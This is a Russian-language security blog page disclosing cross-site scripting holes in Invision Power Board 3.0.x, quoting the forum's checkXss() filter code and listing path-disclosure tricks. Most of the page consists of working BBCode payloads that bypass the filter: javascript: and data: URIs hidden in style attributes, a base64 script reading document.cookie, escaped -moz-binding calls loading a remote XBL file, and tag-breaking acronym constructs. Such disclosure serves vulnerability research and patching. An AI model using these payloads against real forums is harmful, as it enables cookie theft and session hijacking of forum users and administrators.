• Главная
  • A hack CTF
  • Заметки
  • [Blind code execution]
    [PHP-инклудинг и allow_url_include]
    [Проблема с WUBI и Ubuntu 10.04]
    [Как был взломан antichat.ru]
    [AntiDDoS в LightHTTPd]
    [Sleep() в слепых SQLi]

  • Bugtraq
  • [Уязвимости языка PHP]
    [Уязвимости разных движков]
    [Уязвимости Joomla]
    [Уязвимости Invision Power Board]
    [Уязвимости GuppY CMS]
    [Уязвимости 1024cms]
    [Уязвимости IceBB]
    [Уязвимости Zeus Botnet]

  • Релизы
  • [Online PHP code analysis]
    [Web-разведка]
    [Сканер уязвимости nginx]
    [Анализ текстов]
    [SSI Web-shell]

  • Услуги
  • [Аудит безопасности]

    Уязвимости Invision Power Board

    Эти уязвимости были когда-то мною опубликованы на античате
    Множественные уязвимости I.P.B.


    Вообще, IPB кишит всяческими ошибками.
    В паблик части раскрытия путей можно найти, преобразовав входные post-данные в массив.
    Это и поле подписи, и значение дня рождения в личных данных, и тема/текст личного сообщения или email-сообщения пользователю. Раскрытие дают функции checkdate(), urlencode(), urldecode() и другие...
    XSS тоже можно накопать немало.
    Уязвимость: активная XSS.
    Требования: права админа =)
    Описание:
    http://localhost/nipb/admin/index.php?adsess=SESSID&app=core&module=tools&section=qanda&do=new
    Создаём новый вопрос с текстом <script>alert()</script> и имеем активную XSS.
    Происходит из-за недостаточной фильтрации данных в \admin\applications\core\modules_admin\tools\qanda.php:
    PHP код:
     /* Build DB Array */ 
            
    $db_array = array(  
                                
    'qa_question'    => $_POST['question'], 
                                
    'qa_answers'    => $_POST['answers'], 
                            ); 

    ...
    PHP код:
     $this->DB->insert'question_and_answer'$db_array ); 


    Уязвимость: активная XSS
    Требования: проверялось на 3.0.1, на 3.0.4 не работает; браузеры: IE, FF
    Описание:
    Посмотрим на код файла \admin\sources\classes\bbcode\core.php. Среди прочего там есть функция "защиты" от XSS:
    PHP код:
     public function checkXss$txt=''$fixScript=false 
        { 
            
    //----------------------------------------- 
            // Opening script tags... 
            // Check for spaces and new lines... 
            //----------------------------------------- 
             
            
    if ( $fixScript 
            { 
                
    $txt preg_replace"#<(\s+?)?s(\s+?)?c(\s+?)?r(\s+?)?i(\s+?)?p(\s+?)?t#i  s"        "&lt;script" $txt ); 
                
    $txt preg_replace"#<(\s+?)?/(\s+?)?s(\s+?)?c(\s+?)?r(\s+?)?i(\s+?)?p(\s+?)?t#i  s""&lt;/script"$txt ); 
            } 
             
            
    //----------------------------------------- 
            // Here we can do some generic checking for XSS 
            // This should not be considered fool proof, though can provide 
            //    a centralized point for maintenance and checking 
            //----------------------------------------- 
             
            
    $txt str_ireplace"(j)avascript" "\\1avascript"$txt ); 
            
    $txt str_ireplace"alert"      "alert"          $txt ); 
            
    $txt str_ireplace"behavior"   "behavior"          $txt ); 
            
    $txt preg_replace"/(e)((\/\*.*?\*\/)*)x((\/\*.*?\*\/)*)p((\/\*.*?\*\/)*)r((\/\*.*?\*\/)*)e((\/\*.*?\*\/)*)s((\/\*.*?\*\/)*)s((\/\*.*?\*\/)*)i((\/\*.*?\*\/)*)o((\/\*.*?\*\/)*)n/is" "\\1xp​ression"     $txt ); 
            
    $txt preg_replace"/(e)((\\\|\)*)x((\\\|\)*)p((\\\|\)*)r((\\\|\)*)e((\  \\|\)*)s((\\\|\)*)s((\\\|\)*)i((\\\|\)*)o((\\\|\)*  )n/is"       "\\1xp​ression"           $txt ); 
            
    $txt preg_replace"/m((\\\|\)*)o((\\\|\)*)z((\\\|\)*)\-((\\\|\)*)b((\\\|\)*)i((\\\|\)*)n((\\\|\)*)d((\\\|  \)*)i((\\\|\)*)n((\\\|\)*)g/is"       "moz-​binding"           $txt ); 
            
    $txt str_ireplace"about:"     "about:"         $txt ); 
            
    $txt str_ireplace"<body"      "&lt;body"            $txt ); 
            
    $txt str_ireplace"<html"      "&lt;html"            $txt ); 
            
    $txt str_ireplace"document." "document."      $txt ); 
            
    $txt str_ireplace"window."   "window."      $txt ); 
             
            
    $event_handlers    = array( 'mouseover''mouseout''mouseup''mousemove''mousedown''mouseenter''mouseleave''mousewheel'
                                     
    'contextmenu''click''dblclick''load''unload''submit''blur''focus''resize''scroll'
                                     
    'change''reset''select''selectionchange''selectstart''start''stop''keydown''keyup'
                                     
    'keypress''abort''error''dragdrop''move''moveend''movestart''activate''afterprint'
                                     
    'afterupdate''beforeactivate''beforecopy''beforecut''beforedeactivate''beforeeditfocus'
                                     
    'beforepaste''beforeprint''beforeunload''begin''bounce''cellchange''controlselect'
                                     
    'copy''cut''paste''dataavailable''datasetchanged''datasetcomplete''deactivate''drag'
                                     
    'dragend''dragleave''dragenter''dragover''drop''end''errorupdate''filterchange''finish'
                                     
    'focusin''focusout''help''layoutcomplete''losecapture''mediacomplete''mediaerror''outofsync'
                                     
    'pause''propertychange''progress''readystatechange''repeat''resizeend''resizestart''resume'
                                     
    'reverse''rowsenter''rowexit''rowdelete''rowinserted''seek''syncrestored''timeerror'
                                     
    'trackchange''urlflip'
                                    ); 
             
            foreach( 
    $event_handlers as $handler 
            { 
                
    $txt str_ireplace'on' $handler'on' $handler$txt ); 
            } 

            return 
    $txt
        } 


    Далее в коде идут некоторые замены спецсимволов, но функция htmlspecialchars() не применяется.
    Обратные кавычки (`backtips`) не фильтруются.
    Кроме того, сразу бросается в глаза, что протокол data не фильтруется.
    Составляем запрос (для IE), внедряемся в параметр style тега span:
    Код:
    [color=red; background-image:url(javascript:eval(unescape(/%61%6C%65%72%74%28%29/.source)))]asd[/color]

    Для FF:
    Код:
    [color=red; \2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67:url(\68\74\74\70\3a\2f\2f\68\61\2e\63\6b\65\72\73\2e\6f\72\67\2 f\78\73\73\6d\6f\7a\2e\78\6d\6c\23\78\73\73)]asd[/color]


    Уязвимость: активная XSS
    Требования: -
    Описание:
    //В данном посте косяки, грядут переделки
    В последней версии (3.0.5) код функции checkXss() слегка иной, строчка с заменой javascript превратилась в следующую:
    PHP код:
     $txt preg_replace"/(j)avascript/i" "\\1avascript"$txt ); 

    Но сломаный тег не фильтруется (например, java/**/script). К тому же, не фильтруется протокол data.
    Но зато, к фильтру добавилось обрезание всего, что находится за символом ";". Что ж, зашифруем в адресе data ";"->%3B. Переделаем запрос и получим самодостаточную xss:
    Код:
    [color=background:url(data:text/html%3Bbase64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+Cg==)]asd[/code]


    //Далее без претензии на уникальность, развиваю пост LeverOne'а
    Теперь вспомним о xss с разрушением тегов.
    В IPB фильтруются javascript и -moz-binding.
    Не беда - составим запросы с обходом этой фильтрации (разбиваем javascript и шифруем -moz-binding).
    Новый запрос для ie:
    Код:
    [acronym='[acronym=' style=background:url(java/**/script:eval(unescape(/%61%6C%65%72%74%28%29/.source))) ']asd']fgh[/acronym]asd[/acronym]

    Для ff: (здесь зашифрован адрес http://ha.ckers.org/xssmoz.xml#xss)
    Код:
    [acronym='[acronym=' style=\2d\6d\6f\7a\2d\62\69\6e\64\69\6e\67:url(\68\74\74\70\3a\2f\2f\68\61\2e\63\6b\65\72\73\2e\6f\72\67\2f\78\73\73\6d\6f\7a\2e\78\6d\6c\23\78\73\73) ']asd']fgh[/acronym]asd[/acronym]

    © BECHED